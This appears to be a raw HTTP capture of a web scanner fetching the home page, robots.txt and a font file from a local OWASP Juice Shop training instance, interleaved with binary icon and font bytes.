\xfe\xff\xca\xf3\xfe\xffw\xce\xe8\xa8\x00\x0bZ\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00A\xa9\xcc\x04A\xa9\xcc\xb0<\xa7\xcb\xff\x93\xce\xe2\xff\x8f\xda\xf0\xff\xc1\xf1\xfe\xff\xd5\xf6\xfe\xff\x7f\xd2\xeb\xba\x00|\xaf\x07\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00A\xa9\xcc\nA\xa9\xcc\xc1?\xa8\xcb\xff\x96\xcf\xe2\xff\x91\xda\xef\xff\xb7\xef\xfe\xffu\xe1\xfe\xffX\xcc\xed\xca2\x9d\xc2\x0e\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00A\xa9\xcc\x13A\xa9\xcc\xd1?\xa8\xcb\xff\x97\xd0\xe3\xff\x8c\xd8\xee\xff\xce\xf4\xfe\xff\xaf\xee\xfe\xffo\xd3\xf0\xd81\xa5\xcc\x18\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00A\xa9\xcc\x1dA\xa9\xcc\xde@\xa9\xcc\xff^\xb5\xd3\xff[\xc5\xe4\xff\x81\xe3\xfd\xff\x96\xe8\xfe\xffm\xd5\xf2\xe49\xac\xd2#\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00@\xa7\xcb\'A\xa8\xcc\xe7A\xa9\xcc\xff?\xa8\xcb\xffE\xba\xde\xffI\xcd\xf2\xffH\xcd\xf2\xffH\xc8\xec\xebE\xb6\xd9,\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00=\x99\xc5\n?\x9f\xc8\x9e@\xa6\xcb\xffC\xb0\xd4\xffK\xcf\xf4\xff9\x95\xcd\xff>\xa3\xde\xffM\xd6\xfa\xa0J\xc9\xed\n\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00:\x8b\xbe\x1b>\x9d\xc8\xbeI\xc6\xeb\xffM\xd7\xfb\xff6\x89\xd2\xff:\x91\xe3\xcbQ\xe3\xff \x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00D\xb2\xdeIM\xd3\xf9\xbdN\xd9\xfd\xa6N\xd7\xfe\x8dN\xd8\xfeA\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00G\xbe\xe6\x05M\xd4\xf9\x0bN\xd9\xfe\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xff\x00\x00\xff\x1f\x00\x00\xc0\x07\x00\x00\xf0\x03\x00\x00\xf8\x03\x00\x00\xfc\x07\x00\x00\xfc\x07\x00\x00\xfc\x07\x00\x00\xfc\x07\x00\x00\xfc\x07\x00\x00\xfc\x07\x00\x00\xfc\x07\x00\x00\xfc\x07\x00\x00\xfe\x0f\x00\x00\xff\x1f\x00\x00\xff\xff\x00\x00'
GET http://localhost:3000/ HTTP/1.1 User-agent: w4af.net Accept-encoding: gzip, deflate Host: localhost:3000 Accept: */*
b'HTTP/1.1 200 OK\r\nAccess-Control-Allow-Origin: *\r\nX-Content-Type-Options: nosniff\r\nX-Frame-Options: SAMEORIGIN\r\nFeature-Policy: payment \'self\'\r\nX-Recruiting: /#/jobs\r\nAccept-Ranges: bytes\r\nCache-Control: public, max-age=0\r\nLast-Modified: Tue, 05 Mar 2024 22:20:47 GMT\r\nETag: W/"ea4-18e10b47bc6"\r\nContent-Type: text/html; charset=UTF-8\r\nVary: Accept-Encoding\r\nContent-Encoding: gzip\r\nDate: Tue, 05 Mar 2024 22:26:35 GMT\r\nConnection: keep-alive\r\nKeep-Alive: timeout=5\r\nTransfer-Encoding: chunked\r\n'
b'<!--\n ~ Copyright (c) 2014-2023 Bjoern Kimminich & the OWASP Juice Shop contributors.\n ~ SPDX-License-Identifier: MIT\n --><!DOCTYPE html><html lang="en"><head>\n <meta charset="utf-8">\n <title>OWASP Juice Shop</title>\n <meta name="description" content="Probably the most modern and sophisticated insecure web application">\n <meta name="viewport" content="width=device-width, initial-scale=1">\n <link id="favicon" rel="icon" type="image/x-icon" href="assets/public/favicon_js.ico">\n <link rel="stylesheet" type="text/css" href="//cdnjs.cloudflare.com/ajax/libs/cookieconsent2/3.1.0/cookieconsent.min.css">\n <script src="//cdnjs.cloudflare.com/ajax/libs/cookieconsent2/3.1.0/cookieconsent.min.js"></script>\n <script src="//cdnjs.cloudflare.com/ajax/libs/jquery/2.2.4/jquery.min.js"></script>\n <script>\n window.addEventListener("load", function(){\n window.cookieconsent.initialise({\n "palette": {\n "popup": { "background": "var(--theme-primary)", "text": "var(--theme-text)" },\n "button": { "background": "var(--theme-accent)", "text": "var(--theme-text)" }\n },\n "theme": "classic",\n "position": "bottom-right",\n "content": { "message": "This website uses fruit cookies to ensure you get the juiciest tracking experience.", "dismiss": "Me want it!", "link": "But me wait!", "href": "https://www.youtube.com/watch?v=9PnbKL3wuH4" }\n })});\n </script>\n<style>.bluegrey-lightgreen-theme{--theme-primary:#546e7a;--theme-primary-lighter:#607e8c;--theme-primary-light:#698998;--theme-primary-darker:#485e68;--theme-primary-dark:#3f535c;--theme-primary-fade-10:rgba(84, 110, 122, .9);--theme-primary-fade-20:rgba(84, 110, 122, .8);--theme-primary-fade-30:rgba(84, 110, 122, .7);--theme-primary-fade-40:rgba(84, 110, 122, .6);--theme-primary-fade-50:rgba(84, 110, 122, .5);--theme-accent:#689f38;--theme-accent-lighter:#77b640;--theme-accent-light:#81bf4b;--theme-accent-darker:#598830;--theme-accent-dark:#4f792b;--theme-accent-fade-10:rgba(104, 159, 56, .9);--theme-accent-fade-20:rgba(104, 159, 56, .8);--theme-accent-fade-30:rgba(104, 159, 56, .7);--theme-accent-fade-40:rgba(104, 159, 56, .6);--theme-accent-fade-50:rgba(104, 159, 56, .5);--theme-warn:#ff5722;--theme-warn-lighter:#ff6e41;--theme-warn-light:#ff7e55;--theme-warn-darker:#ff4003;--theme-warn-dark:#ee3900;--theme-warn-fade-10:rgba(255, 87, 34, .9);--theme-warn-fade-20:rgba(255, 87, 34, .8);--theme-warn-fade-30:rgba(255, 87, 34, .7);--theme-warn-fade-40:rgba(255, 87, 34, .6);--theme-warn-fade-50:rgba(255, 87, 34, .5);--theme-text:white;--theme-text-lighter:white;--theme-text-light:white;--theme-text-darker:#e6e6e6;--theme-text-dark:#bfbfbf;--theme-text-fade-10:rgba(255, 255, 255, .9);--theme-text-fade-20:rgba(255, 255, 255, .8);--theme-text-fade-30:rgba(255, 255, 255, .7);--theme-text-fade-40:rgba(255, 255, 255, .6);--theme-text-fade-50:rgba(255, 255, 255, .5);--theme-text-invert-15:#d9d9d9;--theme-text-invert-30:#b3b3b3;--theme-background:#424242;--theme-background-lighter:#515151;--theme-background-light:#5c5c5c;--theme-background-darker:#333333;--theme-background-dark:#292929;--theme-background-darkest:#1e1e1e}.bluegrey-lightgreen-theme.mat-app-background{background-color:#303030;color:#fff}@media screen and (-webkit-min-device-pixel-ratio:0){}</style><link rel="stylesheet" href="styles.css" media="print" onload="this.media=\'all\'"><noscript><link rel="stylesheet" href="styles.css"></noscript></head>\n<body class="mat-app-background bluegrey-lightgreen-theme">\n <app-root></app-root>\n<script src="runtime.js" type="module"></script><script src="polyfills.js" type="module"></script><script src="vendor.js" type="module"></script><script src="main.js" type="module"></script>\n\n</body></html>'
GET http://localhost:3000/robots.txt HTTP/1.1 User-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36 OPR/102.0.0.0 Host: localhost:3000 Pragma: no-cache Cache-control: no-cache Accept-encoding: gzip, deflate Content-type: application/x-www-form-urlencoded Content-length: 0 Accept: */*
b'HTTP/1.1 200 OK\r\nAccess-Control-Allow-Origin: *\r\nX-Content-Type-Options: nosniff\r\nX-Frame-Options: SAMEORIGIN\r\nFeature-Policy: payment \'self\'\r\nX-Recruiting: /#/jobs\r\nContent-Type: text/plain; charset=utf-8\r\nContent-Length: 28\r\nETag: W/"1c-8HgF6mNyhsSFK0pascC9uB0wjX0"\r\nVary: Accept-Encoding\r\nDate: Tue, 05 Mar 2024 22:26:53 GMT\r\nConnection: keep-alive\r\nKeep-Alive: timeout=5\r\n' b'User-agent: *\nDisallow: /ftp'
GET http://localhost:3000/MaterialIcons-Regular.woff2 HTTP/1.1 User-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36 OPR/102.0.0.0 Host: localhost:3000 Pragma: no-cache Cache-control: no-cache Accept-encoding: gzip, deflate Content-type: application/x-www-form-urlencoded Content-length: 0 Accept: */*
b'HTTP/1.1 200 OK\r\nAccess-Control-Allow-Origin: *\r\nX-Content-Type-Options: nosniff\r\nX-Frame-Options: SAMEORIGIN\r\nFeature-Policy: payment \'self\'\r\nX-Recruiting: /#/jobs\r\nAccept-Ranges: bytes\r\nCache-Control: public, max-age=0\r\nLast-Modified: Wed, 28 Feb 2024 19:21:33 GMT\r\nETag: W/"eda8-18df12a3c67"\r\nContent-Type: font/woff2\r\nContent-Length: 60840\r\nDate: Tue, 05 Mar 2024 22:26:53 GMT\r\nConnection: keep-alive\r\nKeep-Alive: timeout=5\r\n'
b'wOF2\x00\x01\x00\x00\x00\x00\xed\xa8\x00\x0e\x00\x00\x00\x02\xb6\xbc\x00\x00\xedP\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x1a\x1c\x1b\x10\x1c\x82\x90*\x06`\x00\x914\x11\x08\n\x88\x88h\x86\x8bl\x0b\xa7d\x00\x016\x02$\x03\x93v\x04 \x05\x82z\x07 [g#r\xa2\xf0v?\xa3(uW\x15r\x9b\xfc\xf3\xe3E\xc1\xd8\xb5\xe1v\x04\xed\xcd\x9d\x8f\xaf`\xe3*3\xe8\x0e\x90\x08\xd7v\xdfd\xff\xff\x7fj\xd2\x90\xc3\x92+I\xaf\x0c\x03f\xdb\xef!\x98k&\x9a\x86!Ge\xf4pN\xc9\x99Y\x9333S3Zk\xada\xc1\x13+\xad\xd8\n\xf6\xfd8\xce3i\xe8\xdd2\xef\xd0eWq\xa5W 6\x8bn\xf3\x1b\xfbp\x89\xaa*\x92+[\xfa\xac\x98\x8a\xc6\xf0\xd4k\x8a\xae\xc2J\xea\xfe\x1b\xde\x18\xda#\xa8\xe5\xd9\xd58G\x97\x07I\\\x15XV(;\xb2M\x82l\xb2\x04\x8b5\xfb\xfb\x17^\x0e\x8f\x1e\xdf%ct\xbb/?\xfe\xb1\xf0\xd2\x9bmI\xac\xf8\xbf\x0fc\xc1\x16\x08[\xa9\xa0HPW[\xd0\x12\xeb\x86\x1f\xad\xd8Z\xa8\xe0&\xf1R\xe1g,\xec0\x9f\xf1*\xa0\x1c\x9bS#Y9y\xf2%\x87h\x9b\xc7\x03\xc2\x03*\xa0`\x146\x82bcN\xb1\xb0\x12\xabzS\xb7\xb6V\xaeJ\x17fm\xdaCWn\x8d\xb5h\x97\xe1\x8f8{Mr\t\xdb\x82gIgQ\xf4$\xfb\xf4\x01\xb9\x1d\x16\x10\x07\xc0\xdcu\x80\xb8\xe4\xdf\xd7\xff\xbb\xa3$\x93\xc1\xc3\n\xfd\xa9\xbd\xa2\xbd\xfa*\x08\x95\xc5\nd%\xf8\xfdR\xa3\xde\x0c\x9f\xe2S\x94P\t!\x19\xbbe\xb7;\xc4\xd9\x10\xc2\xe5z\xdb\xb7<\xff\xfc~O[{\x9f\xfbf\x06\xde\x17\xc4$\x89W\xf1\x10\xbd\x8bU\xa25\xd1j\x91f)\x93\x12\x95q6\x13\x91a\xf9\xfc\xea\xcbdR\xa5\r\xb9\x90\x0b5B\x8dP\xa3N\x8d\\\x08/\xa2\xeb\xf4\xbf\xd3\xcc\xaf\xfa\x9aR\xa7\x8cC\xb6-\xc3\x9e\xcc\x99\xb7\xda|]\xd7\xc4a\x8c0F\x88\xc3`\xc5\x85\xd9\xe4f\x1eJ%.8\xbeC\xf9\xe7e\xcf\x9d;/\xdb\xaf&\x19Q\xd1\xa5nB\xd1\xbb\xa4\xc9B\x11\x8a\x90\x14\xf3\xf3\x94\x9b=\xae;\x132\x03\x84#!\x1c\x92\xff\x03r\x05\x15\x90\x0c\x10\xae\x04\xe4\x9a?\\*\xc8\xa5I\xf4\xe6\xf0\xec\xccZ+\xa0\xdd\xd6\xda\x84\nm\xd5\xda\x93I\xcf\xad\xd6\xae\xd8\x86\xdac\xb7\x95\xb6vK\xe8\xb1\x8d\xb6\xf7\x82k\xdc\xa3\xc7\xb6\xbbk \xa25\x9d\x9c\xdc\x8fd\xeb\x0f\x82\x054v*|\xeaj\x01\x9dCj\x8d\x0c\x03\xf5\x01p\x04\xcb\xd9\xa6T\x8f\xe2\x1b\xa8\xea^\xeb\xa1\x9en*\x16j\x81\xb9\xa0>)\xaa\x93\x82\x07\xea\x93\x80\x07\xd1\x81\xfaUt+z\xb5\xf0,\xb4\x1e^j\xfb4\xbc\xa4\xa2\xa37\xc0b\xcf\xe4\x87\x07\x87\x05zNK&\x16\xba\xc8\x1f\x80S\x97\xd6VB\xfd\xa4\x0e\x87\xd8P\xdb\xfbp\x81f\xdbR\x8a\xafs\x1e`\t\xfa\xa3{|\x86\xeb%\xfa}\x832.\xd1\x81\xed:\xc3\xd5\x99\x9e\xff\xb9\xfc_.\xcf\xdd\xbb\x91\xf4*\x14\x0ec6/\xec\x84\xb6d\xde\xc4X\x8e=\xc7S\x9aC}gKSt\xe8\xc1\xfd\xb4\x0c\xc2\xd4\x99\n-\x81 /\xf9t\xc5\x81\xde\x86r\xaa\xa7\xf6w\xd7\xfe\x0cE\x90N\x86\x12\xc8\xf2\x10R\xe7`\x99G\x89\xda\xf9\xf3\xb5\xbf\xc9\xf7\xc0\x10\x18X\x06,p\xa8\x0c\x86!\x84\x86\xce\xb0Y\xfa\x00\xf3\xe6\x97x\xf0N\xad\x9f\x91\x1f\xceH\x0f\xdb,\x92,\xb5]"[.\xdcq\xc1\xb1\x07\x92\xe8\xa7\x8e6\xab\x9f_\xf9\xd7\xfe\xa5\xc0.\x07\n\x07TX>\xea\x1eQ\x1c\x1fp\x0f\xe6\xcb\xa5\xfe\xcc?\xce\\G\xa3\x05CaY\x86\x82\x81[v\n<\xa3I\xacK\x1c\xfdV\x97\xabt\x95^o\x0bq\xdc\xf6\x93\xdd,$\xdc\xf2\x82\xed~Hx\xd7\x1e\xf8\xc0\xfe`\xdf\x9f\xc9;\xfb\x0f\xcd\x01\x14K\x04\xff\xb3\xa0\x9f\x17\x058F\xd1\x98\xc6\xd3\x16\xad\xc4\x05\xd2z\x81\xa9VYY\xa9"\x0f\xfb5_4\xbf\x1f\xe4/\x9e\xa0\xf1\xd5\xef\xf95\x1e\x15e&:2\x9dU\xd1Qi@m\xcd\x18\xa6\xb6\xbai\x0b4\xdav0\x0f\xdf\xa7\xb3\xaa\xf7\xac\xba\xb0K\x03\xb0C\xb3\xeeF\x93\xd6\x0f\x86\x06\xcc\x0c_A\xa3\xadD\xa3tv\x1a\xb5W<\xf9\xa4\xd3i:\x15\x81*\xa9H\xa7\xea\xb4\x13\xcf\xf8\xff\xabj_KHC\x8f\xff\xdf\xa4\xd9\xa8\xe96\xc6\xa2\x9b\xd5\xe6\xaa\xde2\n\xf7=\xbcG\xbc\x87\x0b\x88\x0f$%\x01\xa2e\x91\x8eT&%yL\'\xe2\x01\xa4@Pv\x9e\xb3N\x13r\x92\'\xca\x1bR(\xca\xadBHE\xb3U\xb7\xed\xf2|\xfd=\xd3{\xec\xaf%\t\xec\x04 \xf5mg^\xf0\x9a\t,\x0bHC\xb6\xfe\xbeT\xad+\x9a4=\xa2#\xe4I\xf2Fy#\xb5Qv\xd5\xdc7\xa7\xd3\x1cn[\xf7\xad\xea~h4\xba\x7f\xe3\x83\xec\xdf\xfc\x10\xd0`S @\xca\x00(J\x08\x84\x0c4I\x99\x00A\x98\x828\xb3 \x08\xcat\xd6H\x93\x82V\x93\x12\xd0\x10\xbd\x00$y\t\xc8t\x88\xb24!%i\xe4M!\x1f\xf78\xc79\xee\xf5\xb2\xa7\xbd^\xe6p\xdc\xd3y\xfd\xd8O\xff\xff\xcf %\xe6\x98l\x86\x85""Q\x08\xc4[\xfe\xeeW\xa9\xaf\xec\x85Di\xf7\xb5\xb0\xc7\xed\xdd\xff\xafZU\xa3bD\xc4\x88\x88\x88\x11c\xec\xff\xbf\xdf\xf9\xfd\xff\xa7\xf7\x9ey\xf7\xfd\x9ay_\xc7\x16-ZDD\x89\x88\x88\x12\xa5,\xa5\xf4d\xd3,rY\xb6%\xc1\xad\xb06E a\x04\x92P\xa9.s\xdf\xdc\xbcL\xd7?\xea\xe8\xe9\xdd\xc63\xad\x8a\x94\x11Fa\x87\x91@\xc6\xbc\xfe\x7f\x88n\xff\x1f\xddo,\xc4\xa2\xc8g\x96\xa1\xa0\xec\xae\xa4Yw\xc9]\n\t\x80\xd0\x01\x04\x80\x1a\xd2W\x0b\x96\xd1\xb5\xfc~()\xd78C\xd2\x83\xf3\xfd\x9c\xd5t\xdf{wh;\x18}\x1d\x00\xa2#\xf6\xc9{\x96\xcd`\xb2m\xd5_=\x84\xf1\x17\xf8\xea_h\xe4\xb8w]\xe74\xfdY\xee\x02b\xd4\xa3\xfc\xf8w\xcdlX_\x16\xbbZ\xdc\xe8\xe8\x0e\xeb]\xff\xf7\x81\xfd/\xc7\xdf\x8d\xd0\xd1\xcf\xde\x17\xc3j\xc3\x93\x07u\xf9\xbf+\xe3\n\x7f\xaf\xee\xac\x89\xae\xa9\x07\xe6X\xcdV\xf6k\xa5\xb5\x0ez\x19b\xa4\xc9\xe6Z:\x9aFjJ\x1eM\x02\x8f\xa1\xaf`\xf0\xa7\xa1ov\x80\xce)\xd49\x81\x1a\xc7P\xe5\x08*\x1cB\x99\x03(\xb1\x0fE.\xf84\x0b\xef\xd7\xc7\xd4S3\x06$ng\xedf\x83\xcf\xa8\x8bnu\xac\xb6eY\xad\xde\xe0\xdd\xea-\x9fi\xa0\xd0\xb2\x99\xdd\x1c^-\x99\xe1\x94\x02\x8e\x08\x11Q8\xec\xb1\xe9:\xa3\xea\xd9\x83a\x9fXX\x86(\xdb\x82\xf1t\x86g\x0cT&G\xee\x0f\x90\xcc\x94y\xfaL%\x0bm\xe9n\x91\xac\xb4\xb5\xcb\x91l\xb5\x9dk#\xd9k\x07r\xff\xc1]\xecb\x93\xee\xb3\xc9\xccoV{Y\x87\xb6\x01\x9f\xf7\xd9\x8e\xee\xeb6\xcb\xf6~WK8\x86\x8e\x0b%\xbc\x02A\xdc\xc7\x9f\xb1!\xa1\xc323\x0e\xda\xcb\xb7\naI\x99\x1a\xe9*o\xf7\xdb\x85\x91\x85/]wbt\xcc\x08R\xc4J6&\x85\xcc\xf2\x13w\x92\x8f\x93\xaf8x\xec\xd4\x99\x07\x17\x9d9W\xe8\xe8\xbbTW\xc3\xcd\xd7\xa9\xdez\x17}kY\xfe\x1fK{\xf6\xf1\xee\x17\x7f\xf4\xe0\x11i\xf5_-\x8a\x80Fa\x01J\x08@DJ\n\x0bG\xd1\xa0\xe0$\x08M\tI("\xe035u\xb5\x8e\xf9^\x89\xb0M\xee0\x06\x12\xa8\x8f\xd9\xfb/\xc7\xa7\xaa\xab"K\xf7\x02\x86\xf8I}Qc\x82g\xc5\x92%Z\x0f\x9f\x13\xaa\x9f\x0c,\x11\t{}\x9e\xbf\xfdgX\xf1\xb1\xad\xaa(*\xf4\x11\x91G.\xd0B\xc8\xa9\x8d\xc8\xa3V\x0b?\xb6=]"K\xc2nc\x06\xdd\x8b\xae\xdb\x0c\x96\',\x8ePU\x08M\x18\x95\xb4g\xc2=\x89\xfcM\xbe\xab\xbf=\x00\x0c\x15\x1c\xd0v\x97`\xc4\x0fn\x80\xf3\x90\x81m\x05*Y\x8c%\xf5k\xc2\xffw3\x01\xfdV\x81\xc5\x00\xfbI$\x11\x08\x94c/\xf4w)uH\xfb\xd1\xdc\xa5\x05G\x89l\x9f{\xba\xf5\x08G\xce=2\x94\xc4\xa1\x18-@\x1b\x93cc\xc6*v\x84\x142\x94\x0f\xfd\xd5\xc0\xe5M)\x85M\xa2~w\xa6\x06\xb0TD\xaaF\xd7\x98\xe1\x11vzh\x96\x05\x03H\x95\xe2HeB\xd3\xfe\xf6\x00wTT\xba\xb4|;7\xea\xaf\x84\xae\x88\xf6y\xaa\x8c\xf0\xe6Z1\x99\xb3 \xdf\xdc\xe3\xd1\x8c\x10F\xf7\xac\xd8?\x91\xb1(\xcav$\x1b\xfbb-\x7f\x13\x14<pT<\xf7-\xbc\xfc)%$&X\x83{\xc6W\xc7\x8e\xd0\xb2!yi\xbf\x0eGF\x05\x91\xd0PO\x12u\xdd\xb4\x1e\xde\x1a\xd0\x7fslT\x08\xd5VX\\\x1du\xcc\xa2\x7f\xe7\x9b{a\xebI\xde\x9f\xeb3D\xa8\x11\x9fC\xfb\xb9J\xc0a\x86\xc9\x91\x1b\xa1\x9eHj\x1b\xac\xc6@X\x87&\xbd\x92g\xb0\x91\xd2{\xde\xbaj\x06]\xd6\xbf\xd8k\x9b=\x8d[\xf9\xad\t\x7f.\xd80\xae\xfd8\x08H\xb8w\xd7Y61p\xe0>f\x95\xb1L4\xf9\xe7\x87\x96\xb2S4?B{X\x1eL\xee\xd8\x1fNSa\x0ej^%\x17c\x0frz\xc5]\xc4\x03lx\x17L\xb3W\xb2\xec\xee\xcfI\xc0\xef\xbb\xd6\x15\x8d\xae\xb3(\x8btIl\xb7\xd0d\x05\xab\xde\xbasd\x85\xd7\xe8u\xfdS\xb1\xbc\x99\xf5i\x98\xd9\xec\xefv,\x8di\xd6H^\xa1l_8#N\x85\x82\xb9\xf2\xb1F/\xa9D8\xde\xf0Q>\x86\x84\xdd\xf2\x1f\x82:\xae\x93D\x95\x99\xbf \x96\x04&\x9c\xd7\xefPb%\x1f\xb2\xb2\xfb\xa8\xfb\x8d\x0e\xa3u\xe8\x10,q\xcf\x8c*q\xc9\x07axn\xe89\x8c\xc1\xdf\xb7^(\xc1\xd9\x82\xfb\xb5z\x99P\x12\xd7\xe0\x06O@Gl\xc8\xc0\xd4cY\xfa\x05&rKO\xcbD\x0f\x92\x83\x18\xfe\x96LM\xa4F\xbb\x10l\xeb\xd7\rb\xa5\xb8\x16D\x148\x0e\xcf\t4\xd9\x95\xc1\x99\xb1\xea\xca\xda\x0b,?\xf3\xaf\x86\xb4\xcd\x8d\xab\x87[n\xads\x857\xd9\x1egb\xf1u\xb1\xba\x9a\xb6\xf1\xf5\xc0\xb2V\xd7\x1a\x15o\x17\xfb\x7f`lMH\'\xf5\xb91QO\xe2I\xc3B\xdfv\x0fs\xbd\x99\x80~\xa3\xd7M_D\x07\xe0I\xe6\xc3\xb4\x9a]\x19\x18\x87\xe9\x18\xe5\xc1o\r\xb8\xe8\x03\xb9\xe1\xd6\xdc{\xf7\x94\x84\xf97\xb6\x9e\x7f\x9fuQ8\x8b$Q\x0f\xd60\x98v\xa8t\x9c\xa6A;\x87\x1e\'X\xdeG\xde\xaf\x14+u\xec\xdd\xa6m"\xa9\xbe\x9a\x1c0\xd1^\x0f\x9at\xef\x8bK\x129Oo\x1e\xa4\xc52c\xcc9&;\xd7\xd3\x9b\xf3\xf0\xd6\xf0\xbd\xd9\xa2\x15{\xb9\xf5M\x167b@F\x03\x8c\nd\x00\x08\x1dg\xf1\xa0\xca\x866\xf34\xf49\xe2\x96H\x91\xc9]\xb2\x12y\x14VVm\xf1rU\xd7H\x91>\x94:\xb3?r\x88\xd8\xdf\xea\xd9\x00^\xf4\xd3\xbc"I)\xff\xeb\xd0\x92\xba\xb08\x9b\xabtp\xdbb\x85!\\\xc2\x07 \xae\xcfCrB\xd5{\xc4/\xc9\xce\x17Nx\xccC\x0c\xf0y5\xffoH\xc2-\xad$\x89\\\xe7C\x01\xde[\xd5\xfa%.w\x82\x912\xe9t\xfb\x93\x86\xd8\xe7\xacCpY\xc6>\x8e\xc6\xc9n1\xf5\xdc\'j\xaa\xce\x87\xb4\xd6\xb5\xfc\x0e\xb3\xc08\xf8\xfaY\x96\xa9\x06\xf7\x92\xefG#\x0f\xc3\xba\xb6\xa9\xcd\x83\x00\xe5\xd9\x95\xd7\xd5\x19\xa3\x1c\xb5q_W\x99\xfbI\x86\xa8\xed\x12\xffor\x9c\x17\xcb\x93x\x9a\xfd\x0f\xaf7\x9b\xba\xa8\xb1\x1d\x7f\xae\x05\xda\\\xc0f\xf3\x90\x80P\xc7\xba6\xbd\xb5`\xe5n\xd3 e[\x1aK\x89a\x11\x89\xc3\xae\xc3\xac\x8f\x18\xd7C\xdcjr\xd2\xbc\x7f`\xb6\x88\xa4\xf4\x16NZ\x17K\xa8.\x1fgY\xde\x9cDG\xc1\xc2\xb0X_.\x9ev\xb1\xabM\xfb$\x1bCZd\x9c\xd1\xf5c\x19e\xe4c\x19f\xf8c\x19d\xa8\xdd\xef\x9f~\x82\xe6o\x84u\xbak\x0f\xd2K`\xac\x12\xa5\xdb\x8b\x08`W\x1f\xed\xe9z\xe1\xa1g\xd7HW\xbbh\xec\xf6\xc9\x01\x92\xe9f\xff\xc5\xaa\x80`\xb8h\x86p<\xce\xcd\xa0\x08\xa7\x90\x89\x9a\xf4VRL\xec\xf2a\xfaf\xe8\xc9\xb3\xffF\xd4\xcc\xeb1_?2\x0e{\x90\xf5\x9a\xd52\xc5\xe0\xee \x96\xddZ\xc5Ha\x93{\xaaKA\x02\x1a\x12\xe2E3\xaa&\xa3>\xcb\x9f\'\xf0\xc73\x91\xff\x02\xcf\xbd\xb9tp\x17\xe8\x94\x9eW\xa7\x9e\xc4\xcej>\xc2\xe98G\xfc\xf1\x106\xc0\xb4c\xfbe\x8b\x07\x85\xa1\xf2\xddz2\xb4\x7f@\xfe=\x80\xb6\x18\xb3\x8a\xaf\xd7\xb5\x89\xf8S#\t\x9a\xc1\x11\xcc\x8763CZ\x93\x8a_QC\xf6\x96\xfb\r\x9b \x05\xba\x13y\x8f\xc9\xac\x11\x89\x81JtK\xc9%\xe2\x08I\x89\xef\x01\xcf\\\x9f8\xbd\xfa\x83\x06\xa7\xaf]\xaeq/@\xb0\x13\x1e\x95\xee\xb4\xeb{\xd6?\xfej\x8e\xa9La\xb6\x13\xf6XZ{\xdb\xcb6Y\xc2\x1a\xefH\x80P\x81\x8e\x11\xee\x10\xeeT9\x90\xb0M\x973\x1a\x8a\xba\xbe*\x84$t\xa9\xba\x12\xa1Fw\xbf\x9d8hf\xc7\xaeG>z\xc8\x82G\xe4\x14\x81aQ1\xd3I\x96<\xfe\x98\x8f\xc3%\xe7;r\xa53g\x1f\x1c\xde\xcf\xd1\x8d\xadz/J=(,i\xbe\xed\xf2\xb5[\xed\xa0\xd8\xb7\xa6\xed\xca\xfd\xffK\x118bn*\xef\x19\xf4\xc3h\xb2\x90W\xe3=\xc9H&T6\xa6\xe5\n\x16\xf5\xf1,J\x1b\x97\xba\x06\x95\xec\x90v\xb3>\x1f\xd9\xd8\xde\xb6\xb8BQ\xe1!\x1d\x0f\xfb/C\x1d\x7f\xd8\xdf\xd3jP7A\x19\xcd\xd7\xcc%\xb4K\x7fL6@\xaa\x9e\x06\xa8\x9cty=\xb6S\xd7\x967\x818k\x15\x06\x95V=\xa7U!\xc8C\xc13\xa5I\x83\xa8\x10a\xe53\x89\xa99i\xa7\xb4\xa3\x9f2\xb7tQj\xc2j\xf9\x92\x0e\x9e\xc3\xd4\x8d\x1c$T\x94\x0eB\xab\xcd\xdb\x836\xc4;^\x11\x1f\x15\xa9G\xb1\n\x83\x1fx]\x9a\x14\xd5k\x01\xd9\xcb\xf6\xd1\x97\x84I\tg\x05\x8e\x06DFz<"uB0N\xe2\xeb\x9d\x9b\x07+\x13kMtS\tnWu\xaf]l^\x94\xa2\xdb\xe6\x94\xc1a\x00\x0f\x12\xb1\x07g\x06UHt\xf9+d_\nR\xc9eu+\x88\xb2Y\x06Y\xd8\x86\xe3\xb0\xeb\xfc<\x87\xdav\xe2\n\xe6\x96\xc7\xbe\x17\x9cx\xed\x00\x8c\x8c\xff;\xb8\x07\x18\xc6Ug>EI\x1e\xc3*\xb8\xacU\x9e\'\x0f\xef\r\x87/\x9aV\xab\x81\x8e\xaaO4y\xb9m\xb7\x1d\tS\x88\xce\xc5\x90y\x0f\xe4\\Jt<\\\x1c\x90\xb9\x99\xb0g\xca\x18uV\xe9\xdd\x9336&r#\xaeYp\x1dD\xdfA\xd6\x1c\